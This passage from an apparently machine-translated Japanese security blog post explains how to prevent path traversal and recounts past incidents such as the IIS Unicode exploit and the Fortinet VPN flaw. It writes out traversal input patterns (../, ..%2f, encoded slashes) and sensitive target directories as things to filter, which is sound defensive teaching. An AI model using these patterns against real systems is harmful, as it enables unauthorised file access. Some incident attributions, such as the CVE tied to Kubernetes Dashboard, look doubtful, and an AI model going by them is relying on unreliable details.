悪いニュースは残念ながらこれだけにとどまらない。オープンソース・プロジェクトで報告される脆弱性の数は、全体的に増加の一途をたどっている。オープンソースプロジェクトで報告されたインジェクション脆弱性の総数は、2023年の742件から、2024年の今のところ917件に増加している（1000件に達する見込み）。

パス・トラバーサルの防止

コマンド・インジェクションの脆弱性を防ぐには、多面的なアプローチが必要だ：

入力検証

• ユーザー入力のサニタイズ:などの危険な文字を取り除くか、エンコードする。 ../, ..\, ..%2fその他のバリエーションもある。
• Allowlistアプローチ：許容される入力（ファイル名やパスなど）の厳密なセットを定義し、このリスト以外のものを拒否する。

ファイルアクセスの制限

• chroot jailまたはサンドボックスを使用します：アプリケーションのファイルアクセスを制限されたディレクトリに制限し、意図したディレクトリツリーを越えてトラバースできないようにします。
• ルートディレクトリの設定:ベース・ディレクトリを定義し、すべてのパスがそれに対する相対パスであることを保証する。これを強制するAPIやフレームワークを使用する：java.nio.file.Paths.get("baseDir").resolve(userInput).normalize()。 Javaで。
  os.path.realpath() そして os.path.commonpath() Pythonで。

セキュアなファイルアクセスAPI

• 最新のライブラリやフレームワークが提供する安全なファイルアクセス方法を使用する。 Java使用する Files.newInputStream() または Files.newBufferedReader() 安全なファイル操作のために。
  で Pythonファイルにアクセスする前に、ファイルのパスを検証してください。

使用環境の制限

• 制限を設ける ファイルシステムのパーミッションアプリケーションに必要最低限の権限しかないようにする。
  機密性の高いディレクトリへのアクセスを拒否する(例、 /etc, /var, /usrおよびユーザーホームディレクトリ)。
• ウェブサーバーやフレームワークの不要な機能（シンボリックリンクのフォローなど）を無効にする。

自動テスト

• Aikido ようなツールを使ってソースコードとアプリケーションをスキャンし、これらの脆弱性を発見してください。
• SASTとDASTの両ツールは、ドメインスキャンやクラウドセキュリティとともに使用し、隠れたパストラバーサル脆弱性がないことを確認する必要がある。

アプリ内ファイアウォールを使用する

• インジェクション攻撃に対する最善の防御策のひとつは、悪意のあるコマンドをキャッチしてブロックできるアプリ内ファイアウォール だ。

前進への道

パストラバーサルは、ウェブアプリケーションの初期から存在する脆弱性であり、非常に単純であることが多い一方で、非常に壊滅的な悪用になることもあります。そのため、非常に多くのプロジェクトがいまだにこのような問題に悩まされていることが気になる。3.5%は高い数字ではないように思えるが、その脅威が明らかに継続し、十分に文書化されているにもかかわらず、この数字が増加していることは非常に注目に値する。

パストラバーサルは、消えてなくなる脆弱性ではありませんが、良いニュースは、アプリケーションでこれらの脆弱性を見つけ、見つけた問題を修正することができる明確な方法があるということです。

ボーナス・コンテンツ

実際の事件

近年、いくつかの有名な侵害や脆弱性があり、それらは侵入の主要なポイントとして、あるいは脆弱性の連鎖の一部として、パス・トラバーサルに関与していた。

Microsoft IIS Unicode Exploit(2001)

Microsoft IIS サーバーを標的とした、最も初期の著名なパストラバーサル悪用の1つである。攻撃者はエンコードされたパスを使用して、検証メカニズム（たとえば c0%af を表します。 /).これにより、ウェブのルート・ディレクトリ外のファイルにアクセスし、実行することが可能になった。

これにより、マルウェアの展開や多数のウェブサイトの改ざんが可能になった。

フォーティネットVPNパストラバーサル(2019)

フォーティネットのSSL VPNにディレクトリトラバーサルの脆弱性（CVE-2018-13379）があることが判明しました。攻撃者はこの欠陥を悪用し、VPNユーザーの平文パスワードなど、機密性の高いシステムファイルにアクセスしていました。

何千ものVPN認証情報がネット上に流出し、組織は不正アクセスやさらなる攻撃にさらされることになった。

キャピタル・ワンの情報漏えい(2019)

何が起こったか主な原因はSSRFの脆弱性であったが、攻撃者はAWS S3バケットのメタデータにアクセスする際にディレクトリトラバーサルも利用していた。攻撃者は設定ミスを悪用し、本来アクセスできないはずの設定ファイルを取得した。

これにより、1億600万人のクレジットカード申込者の個人情報が流出した。

Kubernetesダッシュボードにおけるパストラバーサル(2020)

Kubernetes Dashboard にはディレクトリトラバーサルの不具合（CVE-2020-8563）がありました。攻撃者はこれを悪用して、コンテナ内の機密ファイルを読み取る。 /etc.